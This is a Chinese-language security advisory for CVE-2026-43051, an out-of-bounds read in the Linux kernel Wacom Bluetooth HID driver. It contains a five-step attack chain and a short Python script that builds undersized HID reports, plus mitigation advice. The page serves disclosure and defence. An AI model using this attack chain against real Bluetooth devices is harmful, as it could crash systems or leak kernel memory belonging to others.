IPBUF安全漏洞报告
English
CVE-2026-43051 CVSS 8.1 高危

CVE-2026-43051 Linux内核Wacom驱动越界读取漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43051
漏洞类型
越界读取
CVSS评分
8.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux内核越界读取蓝牙HIDWacomDoSCVE-2026-43051

漏洞概述

Linux内核中的HID wacom驱动模块在处理蓝牙HID报告时存在安全漏洞。`wacom_intuos_bt_irq`函数缺乏足够的边界检查,导致在处理恶意构造的短报告时发生越界读取。攻击者可通过蓝牙发送特制数据包触发该漏洞,可能导致系统崩溃或信息泄露。

技术细节

该漏洞位于Linux内核的`drivers/hid/wacom_wac.c`文件中的`wacom_intuos_bt_irq`函数。该函数负责处理Wacom设备的蓝牙HID报告。代码逻辑中对特定报告ID(0x03和0x04)的数据长度未进行严格校验。报告ID 0x03至少需要22字节,报告ID 0x04至少需要32字节。当攻击者通过邻接网络发送长度不足的恶意报告时,内核在将数据复制到wacom结构体时会读取缓冲区边界之外的内存。由于无需用户交互和认证,该漏洞易于被利用。

攻击链分析

STEP 1
侦察
攻击者通过蓝牙扫描发现处于邻接范围内且启用了蓝牙的Linux设备(使用Wacom驱动)。
STEP 2
武器化
攻击者构造恶意的HID报告数据包,设置报告ID为0x03或0x04,但将数据长度故意设置为小于安全阈值(22或32字节)。
STEP 3
投递
攻击者无需认证,直接通过蓝牙协议将恶意数据包发送给目标设备的HID接口。
STEP 4
利用
目标内核的`wacom_intuos_bt_irq`函数接收数据,因缺少长度检查,执行`memcpy`或数据读取时发生越界访问。
STEP 5
影响
触发内核异常(如Oops或Panic),导致系统崩溃(DoS),或造成敏感内核内存信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-43051: Linux Kernel HID wacom OOB Read # This script demonstrates the concept of sending a malformed Bluetooth HID report. # Note: Actual exploitation requires a Bluetooth adapter and specific hardware targeting. import struct def generate_malicious_packet(report_id, required_len, actual_len): """ Generates a malicious HID report packet. report_id: The ID of the report (e.g., 0x03 or 0x04) required_len: The minimum safe length expected by the driver actual_len: The actual length of the payload to be sent (shorter than required) """ if actual_len < 1: actual_len = 1 # Construct payload: Report ID + Arbitrary Data (shorter than required) # Report ID 0x03 requires 22 bytes, we send significantly less. payload = bytes([report_id]) + b'\x00' * (actual_len - 1) return payload def main(): print("[*] CVE-2026-43051 PoC Generator") print("[*] Target: Linux Kernel wacom_intuos_bt_irq") # Scenario 1: Report ID 0x03, expects 22 bytes, send 10 bytes poc_packet = generate_malicious_packet(report_id=0x03, required_len=22, actual_len=10) print(f"[*] Generated Malformed Packet (Report 0x03): {poc_packet.hex()}") print(f"[*] Packet Length: {len(poc_packet)} bytes (Expected >= 22 bytes)") print("[*] Sending this packet via Bluetooth to a vulnerable target may trigger an OOB read.") # Scenario 2: Report ID 0x04, expects 32 bytes, send 10 bytes poc_packet_2 = generate_malicious_packet(report_id=0x04, required_len=32, actual_len=10) print(f"[*] Generated Malformed Packet (Report 0x04): {poc_packet_2.hex()}") if __name__ == "__main__": main()

影响范围

Linux Kernel (修复前版本)

防御指南

临时缓解措施
如果无法立即升级内核,建议暂时禁用系统的蓝牙功能或移除受影响的Wacom蓝牙设备驱动模块,以阻断攻击向量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表